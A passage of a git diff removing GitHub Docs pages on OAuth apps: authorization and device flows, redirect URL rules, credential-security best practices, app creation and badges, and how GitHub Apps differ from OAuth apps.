variables.product.github %}'s OAuth implementation supports the standard [authorization code grant type](https://tools.ietf.org/html/rfc6749#section-4.1) and the OAuth 2.0 [Device Authorization Grant](https://tools.ietf.org/html/rfc8628) for apps that don't have access to a web browser. - -If you want to skip authorizing your app in the standard way, such as when testing your app, you can use the [non-web application flow](#non-web-application-flow). - -To authorize your {% data variables.product.prodname_oauth_app %}, consider which authorization flow best fits your app. - -* [web application flow](#web-application-flow): Used to authorize users for standard {% data variables.product.prodname_oauth_apps %} that run in the browser. (The [implicit grant type](https://tools.ietf.org/html/rfc6749#section-4.2) is not supported.) -* [device flow](#device-flow): Used for headless apps, such as CLI tools. - -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -## Web application flow - -> [!NOTE] -> If you are building a GitHub App, you can still use the OAuth web application flow, but the setup has some important differences. See [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps) for more information. - -The web application flow to authorize users for your app is: - -1. Users are redirected to request their GitHub identity -1. Users are redirected back to your site by GitHub -1. Your app accesses the API with the user's access token - -### 1. Request a user's GitHub identity - - GET {% data variables.product.oauth_host_code %}/login/oauth/authorize - -This endpoint takes the following input parameters. - -| Query parameter | Type | Required? | Description | -| --------------- | ---- | --------- | ----------- | -| `client_id`|`string` | Required | The client ID you received from GitHub when you {% ifversion fpt or ghec %}[registered](https://github.com/settings/applications/new){% else %}registered{% endif %}. | -| `redirect_uri`|`string` |Strongly recommended| The URL in your application where users will be sent after authorization. See details below about [redirect urls](#redirect-urls). | -| `login` | `string` | Optional| Suggests a specific account to use for signing in and authorizing the app. | -| `scope`|`string` |Context dependent| A space-delimited list of [scopes](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps). If not provided, `scope` defaults to an empty list for users that have not authorized any scopes for the application. For users who have authorized scopes for the application, the user won't be shown the OAuth authorization page with the list of scopes. Instead, this step of the flow will automatically complete with the set of scopes the user has authorized for the application. For example, if a user has already performed the web flow twice and has authorized one token with `user` scope and another token with `repo` scope, a third web flow that does not provide a `scope` will receive a token with `user` and `repo` scope. | -| `state` | `string` |Strongly recommended| {% data reusables.apps.state_description %} | -| `allow_signup`|`string` | Optional | Whether or not unauthenticated users will be offered an option to sign up for GitHub during the OAuth flow. The default is `true`. Use `false` when a policy prohibits signups. | -| {% ifversion oauth_account_picker %} | -| `prompt` | `string` | Optional | Forces the account picker to appear if set to `select_account`. The account picker will also appear if the application has a non-HTTP redirect URI or if the user has multiple accounts signed in. | -| {% endif %} | - -The PKCE (Proof Key for Code Exchange) parameters `code_challenge` and `code_challenge_method` are not supported at this time. CORS pre-flight requests (OPTIONS) are not supported at this time. - -### 2. Users are redirected back to your site by GitHub - -If the user accepts your request, {% data variables.product.github %} redirects back to your site with a temporary `code` in a code parameter as well as the state you provided in the previous step in a `state` parameter. The temporary code will expire after 10 minutes. If the states don't match, then a third party created the request, and you should abort the process. - -Exchange this `code` for an access token: - - POST {% data variables.product.oauth_host_code %}/login/oauth/access_token - -This endpoint takes the following input parameters. - -Parameter name | Type | Required?| Description ------|------|---------|----- -`client_id` | `string` | Required | The client ID you received from {% data variables.product.github %} for your {% data variables.product.prodname_oauth_app %}. -`client_secret` | `string` | Required | The client secret you received from {% data variables.product.github %} for your {% data variables.product.prodname_oauth_app %}. -`code` | `string` | Required | The code you received as a response to Step 1. -`redirect_uri` | `string` | Strongly recommended | The URL in your application where users are sent after authorization. We can use this to match against the URI originally provided when the `code` was issued, to prevent attacks against your service. - -By default, the response takes the following form: - -```shell -access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&scope=repo%2Cgist&token_type=bearer -``` - -{% data reusables.apps.oauth-auth-vary-response %} - -```json -Accept: application/json -{ - "access_token":"gho_16C7e42F292c6912E7710c838347Ae178B4a", - "scope":"repo,gist", - "token_type":"bearer" -} -``` - -```xml -Accept: application/xml -<OAuth> - <token_type>bearer</token_type> - <scope>repo,gist</scope> - <access_token>gho_16C7e42F292c6912E7710c838347Ae178B4a</access_token> -</OAuth> -``` - -### 3. Use the access token to access the API - -The access token allows you to make requests to the API on a behalf of a user. - - Authorization: Bearer OAUTH-TOKEN - GET {% data variables.product.rest_url %}/user - -For example, in curl you can set the Authorization header like this: - -```shell -curl -H "Authorization: Bearer OAUTH-TOKEN" {% data variables.product.rest_url %}/user -``` - -Every time you receive an access token, you should use the token to revalidate the user's identity. A user can change which account they are signed into when you send them to authorize your app, and you risk mixing user data if you do not validate the user's identity after every sign in. - -## Device flow - -The device flow allows you to authorize users for a headless application, such as a CLI tool or the [Git Credential Manager](https://github.com/git-ecosystem/git-credential-manager). - -Before you can use the device flow to authorize and identify users, you must first enable it in your app's settings. For more information about enabling the device flow in your app, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app) for {% data variables.product.prodname_github_apps %} and [AUTOTITLE](/apps/oauth-apps/maintaining-oauth-apps/modifying-an-oauth-app) for {% data variables.product.prodname_oauth_apps %}. - -### Overview of the device flow - -1. Your app requests device and user verification codes and gets the authorization URL where the user will enter the user verification code. -1. The app prompts the user to enter a user verification code at {% data variables.product.device_authorization_url %}. -1. The app polls for the user authentication status. Once the user has authorized the device, the app will be able to make API calls with a new access token. - -### Step 1: App requests the device and user verification codes from GitHub - - POST {% data variables.product.oauth_host_code %}/login/device/code - -Your app must request a user verification code and verification URL that the app will use to prompt the user to authenticate in the next step. This request also returns a device verification code that the app must use to receive an access token and check the status of user authentication. - -The endpoint takes the following input parameters. - -Parameter name | Type | Description ------|------|-------------- -`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.github %} for your app. -`scope` | `string` | A space-delimited list of the scopes that your app is requesting access to. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/scopes-for-oauth-apps). - -By default, the response takes the following form: - -```shell -device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5&expires_in=900&interval=5&user_code=WDJB-MJHT&verification_uri=https%3A%2F%2F{% data variables.product.product_url %}%2Flogin%2Fdevice -``` - -Parameter name | Type | Description ------|------|-------------- -`device_code` | `string` | The device verification code is 40 characters and used to verify the device. -`user_code` | `string` | The user verification code is displayed on the device so the user can enter the code in a browser. This code is 8 characters with a hyphen in the middle. -`verification_uri` | `string` | The verification URL where users need to enter the `user_code`: {% data variables.product.device_authorization_url %}. -`expires_in` | `integer`| The number of seconds before the `device_code` and `user_code` expire. The default is 900 seconds or 15 minutes. -`interval` | `integer` | The minimum number of seconds that must pass before you can make a new access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) to complete the device authorization. For example, if the interval is 5, then you cannot make a new request until 5 seconds pass. If you make more than one request over 5 seconds, then you will hit the rate limit and receive a `slow_down` error. - -{% data reusables.apps.oauth-auth-vary-response %} - -```json -Accept: application/json -{ - "device_code": "3584d83530557fdd1f46af8289938c8ef79f9dc5", - "user_code": "WDJB-MJHT", - "verification_uri": "{% data variables.product.oauth_host_code %}/login/device", - "expires_in": 900, - "interval": 5 -} -``` - -```xml -Accept: application/xml -<OAuth> - <device_code>3584d83530557fdd1f46af8289938c8ef79f9dc5</device_code> - <user_code>WDJB-MJHT</user_code> - <verification_uri>{% data variables.product.oauth_host_code %}/login/device</verification_uri> - <expires_in>900</expires_in> - <interval>5</interval> -</OAuth> -``` - -### Step 2: Prompt the user to enter the user code in a browser - -Your device will show the user verification code and prompt the user to enter the code at {% data variables.product.device_authorization_url %}. - -### Step 3: App polls GitHub to check if the user authorized the device - - POST {% data variables.product.oauth_host_code %}/login/oauth/access_token - -Your app will make device authorization requests that poll `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`, until the device and user codes expire or the user has successfully authorized the app with a valid user code. The app must use the minimum polling `interval` retrieved in step 1 to avoid rate limit errors. For more information, see [Rate limits for the device flow](#rate-limits-for-the-device-flow). - -The user must enter a valid code within 15 minutes (or 900 seconds). After 15 minutes, you will need to request a new device authorization code with `POST {% data variables.product.oauth_host_code %}/login/device/code`. - -Once the user has authorized, the app will receive an access token that can be used to make requests to the API on behalf of a user. - -The endpoint takes the following input parameters. - -Parameter name | Type | Description ------|------|-------------- -`client_id` | `string` | **Required.** The client ID you received from {% data variables.product.github %} for your {% data variables.product.prodname_oauth_app %}. -`device_code` | `string` | **Required.** The `device_code` you received from the `POST {% data variables.product.oauth_host_code %}/login/device/code` request. -`grant_type` | `string` | **Required.** The grant type must be `urn:ietf:params:oauth:grant-type:device_code`. - -By default, the response takes the following form: - -```shell -access_token=gho_16C7e42F292c6912E7710c838347Ae178B4a&token_type=bearer&scope=repo%2Cgist -``` - -{% data reusables.apps.oauth-auth-vary-response %} - -```json -Accept: application/json -{ - "access_token": "gho_16C7e42F292c6912E7710c838347Ae178B4a", - "token_type": "bearer", - "scope": "repo,gist" -} -``` - -```xml -Accept: application/xml -<OAuth> - <access_token>gho_16C7e42F292c6912E7710c838347Ae178B4a</access_token> - <token_type>bearer</token_type> - <scope>gist,repo</scope> -</OAuth> -``` - -### Rate limits for the device flow - -When a user submits the verification code on the browser, there is a rate limit of 50 submissions in an hour per application. - -If you make more than one access token request (`POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`) within the required minimum timeframe between requests (or `interval`), you'll hit the rate limit and receive a `slow_down` error response. The `slow_down` error response adds 5 seconds to the last `interval`. For more information, see the [Error codes for the device flow](#error-codes-for-the-device-flow). - -### Error codes for the device flow - -| Error code | Description | -|----|----| -| `authorization_pending`| This error occurs when the authorization request is pending and the user hasn't entered the user code yet. The app is expected to keep polling the `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token` request without exceeding the `interval`, which requires a minimum number of seconds between each request. | -| `slow_down` | When you receive the `slow_down` error, 5 extra seconds are added to the minimum `interval` or timeframe required between your requests using `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. For example, if the starting interval required at least 5 seconds between requests and you get a `slow_down` error response, you must now wait a minimum of 10 seconds before making a new request for an OAuth access token. The error response includes the new `interval` that you must use. -| `expired_token` | If the device code expired, then you will see the `token_expired` error. You must make a new request for a device code. -| `unsupported_grant_type` | The grant type must be `urn:ietf:params:oauth:grant-type:device_code` and included as an input parameter when you poll the OAuth token request `POST {% data variables.product.oauth_host_code %}/login/oauth/access_token`. -| `incorrect_client_credentials` | For the device flow, you must pass your app's client ID, which you can find on your app settings page. The `client_secret` is not needed for the device flow. -| `incorrect_device_code` | The device_code provided is not valid. -| `access_denied` | When a user clicks cancel during the authorization process, you'll receive a `access_denied` error and the user won't be able to use the verification code again. -| `device_flow_disabled` | Device flow has not been enabled in the app's settings. For more information, see [Device flow](#device-flow). - -For more information, see the [OAuth 2.0 Device Authorization Grant](https://tools.ietf.org/html/rfc8628#section-3.5). - -## Non-Web application flow - -Non-web authentication is available for limited situations like testing. If you need to, you can use [Basic Authentication](/rest/overview/authenticating-to-the-rest-api#using-basic-authentication) to create a {% data variables.product.pat_generic %} using your [{% data variables.product.pat_generic %}s settings page](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). This technique enables the user to revoke access at any time. - -## Redirect URLs - -The `redirect_uri` parameter is optional. If left out, GitHub will -redirect users to the callback URL configured in the {% data variables.product.prodname_oauth_app %} -settings. If provided, the redirect URL's host (excluding sub-domains) and port must exactly -match the callback URL. The redirect URL's path must reference a -subdirectory of the callback URL. - - CALLBACK: http://example.com/path - - GOOD: http://example.com/path - GOOD: http://example.com/path/subdir/other - GOOD: http://oauth.example.com/path - GOOD: http://oauth.example.com/path/subdir/other - BAD: http://example.com/bar - BAD: http://example.com/ - BAD: http://example.com:8080/path - BAD: http://oauth.example.com:8080/path - BAD: http://example.org - -### Loopback redirect urls - -The optional `redirect_uri` parameter can also be used for loopback URLs, which is useful for native applications running on a desktop computer. If the application specifies a loopback URL and a port, then after authorizing the application users will be redirected to the provided URL and port. The `redirect_uri` does not need to match the port specified in the callback URL for the app. - -For the `http://127.0.0.1/path` callback URL, you can use this `redirect_uri` if your application is listening on port `1234`: - -```http -http://127.0.0.1:1234/path -``` - -Note that OAuth RFC [recommends not to use `localhost`](https://datatracker.ietf.org/doc/html/rfc8252#section-7.3), but instead to use loopback literal `127.0.0.1` or IPv6 `::1`. - -## Creating multiple tokens for {% data variables.product.prodname_oauth_apps %} - -You can create multiple tokens for a user/application/scope combination to create tokens for specific use cases. - -This is useful if your {% data variables.product.prodname_oauth_app %} supports one workflow that uses GitHub for sign-in and only requires basic user information. Another workflow may require access to a user's private repositories. Using multiple tokens, your {% data variables.product.prodname_oauth_app %} can perform the web flow for each use case, requesting only the scopes needed. If a user only uses your application to sign in, they are never required to grant your {% data variables.product.prodname_oauth_app %} access to their private repositories. - -{% data reusables.apps.oauth-token-limit %} - -{% data reusables.apps.deletes_ssh_keys %} - -## Directing users to review their access - -You can link to authorization information for an {% data variables.product.prodname_oauth_app %} so that users can review and revoke their application authorizations. - -To build this link, you'll need your {% data variables.product.prodname_oauth_app %}'s `client_id` that you received from GitHub when you registered the application. - -```http -{% data variables.product.oauth_host_code %}/settings/connections/applications/:client_id -``` - -> [!TIP] -> To learn more about the resources that your {% data variables.product.prodname_oauth_app %} can access for a user, see [AUTOTITLE](/rest/guides/discovering-resources-for-a-user). - -## Troubleshooting - -* [AUTOTITLE](/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-authorization-request-errors) -* [AUTOTITLE](/apps/oauth-apps/maintaining-oauth-apps/troubleshooting-oauth-app-access-token-request-errors) -* [Device flow errors](#error-codes-for-the-device-flow) -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/token-expiration-and-revocation) - -## Further reading - -* [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-authentication-to-github) diff --git a/content/apps/oauth-apps/building-oauth-apps/best-practices-for-creating-an-oauth-app.md b/content/apps/oauth-apps/building-oauth-apps/best-practices-for-creating-an-oauth-app.md deleted file mode 100644 index f73037413ac4..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/best-practices-for-creating-an-oauth-app.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Best practices for creating an OAuth app -shortTitle: Best practices -intro: 'Follow these best practices to improve the security and performance of your {% data variables.product.prodname_oauth_app %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps ---- - -## Use a {% data variables.product.prodname_github_app %} instead - -If possible, consider using a {% data variables.product.prodname_github_app %} instead of an {% data variables.product.prodname_oauth_app %}. In general, {% data variables.product.prodname_github_apps %} are preferred over {% data variables.product.prodname_oauth_apps %}. {% data variables.product.prodname_github_apps %} use fine-grained permissions, give the user more control over which repositories the app can access, and use short-lived tokens. These properties can harden the security of your app by limiting the damage that could be done if your app's credentials are leaked. - -Similar to {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %} can still use OAuth 2.0 and generate a type of OAuth token (called a user access token) and take actions on behalf of a user. However, {% data variables.product.prodname_github_apps %} can also act independently of a user. - -For more information about {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -For more information about migrating an existing {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/guides/migrating-oauth-apps-to-github-apps). - -## Use minimal scopes - -Your {% data variables.product.prodname_oauth_app %} should only request the scopes that the app needs to perform its intended functionality. If any tokens for your app become compromised, this will limit the amount of damage that can occur. For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps). - -## Authorize thoroughly and durably - -After signing in a user, app developers must take additional steps to ensure that the user is meant to have access to the data in your system. Each sign in requires fresh checks around their memberships, access, and their current SSO status. - -### Use the durable, unique `id` to store the user - -{% data reusables.apps.best-practice-use-durable-id %} - -### Validate organization access for every new authentication - -{% data reusables.apps.best-practice-validate-org-access %} - -### Store user data with organizational and enterprise contexts - -{% data reusables.apps.best-practice-store-data-with-context %} - -### Verify a user's access to your app - -Your OAuth app can be accessed by users outside your organization or enterprise. If you intend an app to be used only by members of your organization or enterprise, you should check the user's membership status when the user signs in to your app. - -To find the list of organizations a user is a member of, you can use the "List organizations for the authenticated user" endpoint. Then you can validate this list against a list of approved organizations for your app. For more information, see [AUTOTITLE](/rest/orgs/orgs#list-organizations-for-the-authenticated-user). - -{% data reusables.emus.oauth-app-note %} - -## Secure your app's credentials - -With a client secret, your app can authorize a user and generate user access tokens. These tokens can be used to make API requests on behalf of a user. - -You must store your app's client secret and any generated tokens securely. The storage mechanism depends on your integrations architecture and the platform that it runs on. In general, you should use a storage mechanism that is intended to store sensitive data on the platform that you are using. - -### Client secrets - -If your app is a website or web app, consider storing your client secret in a key vault, such as [Azure Key Vault](https://azure.microsoft.com/products/key-vault), or as an encrypted environment variable or secret on your server. - -If your app is a native client, client-side app, or runs on a user device (as opposed to running on your servers), you cannot secure your client secret. You should use caution if you plan to gate access to your own services based on tokens generated by your app, because anyone can access the client secret to generate a token. - -### User access tokens - -If your app is a website or web app, you should encrypt the tokens on your back end and ensure there is security around the systems that can access the tokens. Consider storing refresh tokens in a separate place from active access tokens. - -If your app is a native client, client-side app, or runs on a user device (as opposed to running on your servers), you may not be able to secure tokens as well as an app that runs on your servers. You should store tokens via the mechanism recommended for your app's platform, and keep in mind that the storage mechanism may not be fully secure. - -## Use the appropriate token type - -{% data variables.product.prodname_oauth_apps %} can generate user access tokens in order to make authenticated API requests. Your app should never use a {% data variables.product.pat_generic %} or {% data variables.product.company_short %} password to authenticate. - -## Make a plan for handling security breaches - -You should have a plan in place so that you can handle any security breaches in a timely manner. - -In the event that your app's client secret is compromised, you will need to generate a new secret, update your app to use the new secret, and delete your old secret. - -In the event that user access tokens are compromised, you should immediately revoke these tokens. For more information, see [AUTOTITLE](/rest/apps/oauth-applications#delete-an-app-token). - -## Conduct regular vulnerability scans - -{% data reusables.apps.app-scans %} - -## Choose an appropriate environment - -If your app runs on a server, verify that your server environment is secure and that it can handle the volume of traffic that you expect for your app. - -## Use services in a secure manner - -{% data reusables.apps.app-services %} - -## Add logging and monitoring - -{% data reusables.apps.apps-logging %} - -## Enable data deletion - -If your app is available to other users, you should give users a way to delete their data. Users should not need to email or call a support person in order to delete their data. - -{% ifversion fpt or ghec %} - -## Further reading - -* [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps) -* [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/creating-apps-for-github-marketplace/customer-experience-best-practices-for-apps) - -{% endif %} diff --git a/content/apps/oauth-apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md b/content/apps/oauth-apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md deleted file mode 100644 index df768b68395a..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Creating a custom badge for your OAuth app -intro: '{% data reusables.shortdesc.creating_custom_badges_oauth_apps %}' -redirect_from: - - /apps/building-oauth-apps/creating-custom-badges-for-oauth-apps - - /developers/apps/creating-a-custom-badge-for-your-oauth-app - - /developers/apps/building-oauth-apps/creating-a-custom-badge-for-your-oauth-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps -shortTitle: Create custom badges ---- -By default, a new {% data variables.product.prodname_oauth_app %} will have an automatically generated [identicon](https://github.com/blog/1586-identicons). -An identicon badge looks something like this: - -![Screenshot of an identicon, which consists of white pixels in a random pattern on a circular yellow background.](/assets/images/help/apps/identicon.png) - -After you create an {% data variables.product.prodname_oauth_app %}, you can customize the app's badge by uploading a logo and selecting a background color. A badge is a square logo image inside of a circular badge. You can choose a background color for the badge, which can be used to visually distinguish your app. - -Your logo should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend an image size of at least 200px x 200px. {% ifversion fpt or ghec %}See [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app#guidelines-for-logos) for more guidance on customizing badges.{% endif %} - -{% ifversion fpt or ghec %} - -You can change a custom badge for a GitHub App that already has an approved Marketplace listing by navigating to https://github.com/marketplace/manage. - -{% endif %} - -To create a custom badge: - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -{% data reusables.user-settings.modify_oauth_app %} -1. In "Application logo", drag-and-drop an image from a local folder or click **Upload new logo** to select an image from your computer. -1. Crop your picture. When you're done, click **Set new application logo**. -1. In "Badge background color", type the [hexadecimal color code](http://www.color-hex.com/) of the background color for your badge. {% ifversion fpt or ghec %}**Note:** The "Badge background color" input field will be visible after an application logo has been uploaded.{% endif %} -{% data reusables.user-settings.update_oauth_app %} - -{% ifversion fpt or ghec %} - -## Next steps - -For more information about creating a Marketplace listing for this app, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace). - -{% endif %} diff --git a/content/apps/oauth-apps/building-oauth-apps/creating-an-oauth-app.md b/content/apps/oauth-apps/building-oauth-apps/creating-an-oauth-app.md deleted file mode 100644 index c212eb961c9a..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/creating-an-oauth-app.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Creating an OAuth app -intro: '{% data reusables.shortdesc.creating_oauth_apps %}' -redirect_from: - - /apps/building-integrations/setting-up-and-registering-oauth-apps/registering-oauth-apps - - /apps/building-oauth-apps/creating-an-oauth-app - - /developers/apps/creating-an-oauth-app - - /developers/apps/building-oauth-apps/creating-an-oauth-app -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - OAuth apps ---- - -> [!NOTE] -> Consider building a {% data variables.product.prodname_github_app %} instead of an {% data variables.product.prodname_oauth_app %}. -> -> Both {% data variables.product.prodname_oauth_apps %} and {% data variables.product.prodname_github_apps %} use OAuth 2.0. -> -> {% data variables.product.prodname_oauth_apps %} can only act on behalf of a user while {% data variables.product.prodname_github_apps %} can either act on behalf of a user or independently of a user. -> -> {% data variables.product.prodname_github_apps %} use fine-grained permissions, give the user more control over which repositories the app can access, and use short-lived tokens. -> -> For more information, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -{% ifversion fpt or ghec %} - -> [!NOTE] -> {% data reusables.apps.maximum-oauth-apps-allowed %} - -{% endif %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -1. Click **New OAuth App**. - - > [!NOTE] - > If you haven't created an app before, this button will say, **Register a new application**. - -1. In "Application name", type the name of your app. - - > [!WARNING] - > Only use information in your {% data variables.product.prodname_oauth_app %} that you consider public. Avoid using sensitive data, such as internal URLs, when creating an {% data variables.product.prodname_oauth_app %}. - -1. In "Homepage URL", type the full URL to your app's website. -1. Optionally, in "Application description", type a description of your app that users will see. -1. In "Authorization callback URL", type the callback URL of your app. - - > [!NOTE] - > {% data variables.product.prodname_oauth_apps %} cannot have multiple callback URLs, unlike {% data variables.product.prodname_github_apps %}. - -1. If your {% data variables.product.prodname_oauth_app %} will use the device flow to identify and authorize users, click **Enable Device Flow**. For more information about the device flow, see [AUTOTITLE](/apps/oauth-apps/building-oauth-apps/authorizing-oauth-apps#device-flow). -1. Click **Register application**. - -## Further reading - -* [AUTOTITLE](/apps/oauth-apps/maintaining-oauth-apps/modifying-an-oauth-app) diff --git a/content/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps.md b/content/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps.md deleted file mode 100644 index eacce6735f7b..000000000000 --- a/content/apps/oauth-apps/building-oauth-apps/differences-between-github-apps-and-oauth-apps.md +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Differences between GitHub Apps and OAuth apps -intro: 'In general, {% data variables.product.prodname_github_apps %} are preferred to {% data variables.product.prodname_oauth_apps %} because they use fine-grained permissions, give more control over which repositories the app can access, and use short-lived tokens.' -redirect_from: - - /early-access/integrations/integrations-vs-oauth-applications - - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type - - /apps/differences-between-apps - - /developers/apps/differences-between-github-apps-and-oauth-apps - - /developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps - - /apps/creating-github-apps/creating-github-apps/differences-between-github-apps-and-oauth-apps - - /apps/creating-github-apps/setting-up-a-github-app/differences-between-github-apps-and-oauth-apps -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps - - OAuth apps -shortTitle: GitHub Apps & {% data variables.product.prodname_oauth_apps %} ---- - -## About {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} - -In general, {% data variables.product.prodname_github_apps %} are preferred over {% data variables.product.prodname_oauth_apps %}. {% data variables.product.prodname_github_apps %} use fine-grained permissions, give the user more control over which repositories the app can access, and use short-lived tokens. These properties can harden the security of your app by limiting the damage that could be done if your app's credentials were leaked. - -Similar to {% data variables.product.prodname_oauth_apps %}, {% data variables.product.prodname_github_apps %} can still use OAuth 2.0 and generate a type of OAuth token (called a user access token) and take actions on behalf of a user. However, {% data variables.product.prodname_github_apps %} can also act independently of a user. This is beneficial for automations that do not require user input. The app will continue to work even if the person who installed the app on an organization leaves the organization. - -{% data variables.product.prodname_github_apps %} have built-in, centralized webhooks. {% data variables.product.prodname_github_apps %} can receive webhook events for all repositories and organizations the app can access. Conversely, {% data variables.product.prodname_oauth_apps %} must configure webhooks individually for each repository and organization. - -The rate limit for {% data variables.product.prodname_github_apps %} using an installation access token scales with the number of repositories and number of organization users. Conversely, {% data variables.product.prodname_oauth_apps %} have lower rate limits and do not scale. - -There is one case where an {% data variables.product.prodname_oauth_app %} is preferred over a {% data variables.product.prodname_github_app %}. If your app needs to access enterprise-level resources such as the enterprise object itself, you should use an {% data variables.product.prodname_oauth_app %} because a {% data variables.product.prodname_github_app %} cannot yet be given permissions against an enterprise. {% data variables.product.prodname_github_apps %} can still access enterprise-owned organization and repository resources. - -For more information about {% data variables.product.prodname_github_apps %}, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-creating-github-apps). - -For more information about migrating an existing {% data variables.product.prodname_oauth_app %} to a {% data variables.product.prodname_github_app %}, see [AUTOTITLE](/apps/creating-github-apps/guides/migrating-oauth-apps-to-github-apps). - -## Who can install GitHub Apps and authorize {% data variables.product.prodname_oauth_apps %}? - -You can install GitHub Apps in your personal account or organizations you own. If you have admin permissions in a repository, you can install GitHub Apps on organization accounts. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application. - -{% data reusables.apps.app_manager_role %} - -By contrast, users authorize {% data variables.product.prodname_oauth_apps %}, which gives the app the ability to act as the authenticated user. For example, you can authorize an {% data variables.product.prodname_oauth_app %} that finds all notifications for the authenticated user. You can always revoke permissions from an {% data variables.product.prodname_oauth_app %}. - -{% data reusables.organizations.restricted-app-access-requests %} - -{% data reusables.apps.deletes_ssh_keys %} - -| GitHub Apps | {% data variables.product.prodname_oauth_apps %} | -| ----- | ------ | -| You must be an organization owner or have admin permissions in a repository to install a GitHub App on an organization. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application. | You can authorize an {% data variables.product.prodname_oauth_app %} to have access to resources. | -| You can install a GitHub App on your personal repository. | You can authorize an {% data variables.product.prodname_oauth_app %} to have access to resources.| -| You must be an organization owner, personal repository owner, or have admin permissions in a repository to uninstall a GitHub App and remove its access. | You can delete an OAuth access token to remove access. | -| You must be an organization owner or have admin permissions in a repository to request a GitHub App installation. | If an organization application policy is active, any organization member can request to install an {% data variables.product.prodname_oauth_app %} on an organization. An organization owner must approve or deny the request. | - -## What can GitHub Apps and {% data variables.product.prodname_oauth_apps %} access? - -Account owners can use a {% data variables.product.prodname_github_app %} in one account without granting access to another. For example, you can install a third-party build service on your employer's organization, but decide not to grant that build service access to repositories in your personal account. A GitHub App remains installed if the person who set it up leaves the organization. - -An _authorized_ {% data variables.product.prodname_oauth_app %} has access to all of the user's or organization owner's accessible resources. - -| GitHub Apps | {% data variables.product.prodname_oauth_apps %} | -| ----- | ------ | -| Installing a GitHub App grants the app access to a user or organization account's chosen repositories. | Authorizing an {% data variables.product.prodname_oauth_app %} grants the app access to the user's accessible resources. For example, repositories they can access. | -| The installation token from a GitHub App loses access to resources if an admin removes repositories from the installation. | An OAuth access token loses access to resources when the user loses access, such as when they lose write access to a repository. | -| Installation access tokens are limited to specified repositories with the permissions chosen by the creator of the app. | An OAuth access token is limited via scopes. | -| GitHub Apps can request separate access to issues and pull requests without accessing the actual contents of the repository. | {% data variables.product.prodname_oauth_apps %} need to request the `repo` scope to get access to issues, pull requests, or anything owned by the repository. | -| GitHub Apps aren't subject to organization application policies. A GitHub App only has access to the repositories an organization owner has granted. | If an organization application policy is active, only an organization owner can authorize the installation of an {% data variables.product.prodname_oauth_app %}. If installed, the {% data variables.product.prodname_oauth_app %} gains access to anything visible to the token the organization owner has within the approved organization. | -| A GitHub App receives a webhook event when an installation is changed or removed. This tells the app creator when they've received more or less access to an organization's resources. | {% data variables.product.prodname_oauth_apps %} can lose access to an organization or repository at any time based on the granting user's changing access. The {% data variables.product.prodname_oauth_app %} will not inform you when it loses access to a resource. | - -## Token-based identification - -> [!NOTE] -> GitHub Apps can also use a user-based token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/identifying-and-authorizing-users-for-github-apps). - -| GitHub Apps | {% data variables.product.prodname_oauth_apps %} | -| ----- | ----------- | -| A GitHub App can request an installation access token by using a private key with a JSON web token format out-of-band. | An {% data variables.product.prodname_oauth_app 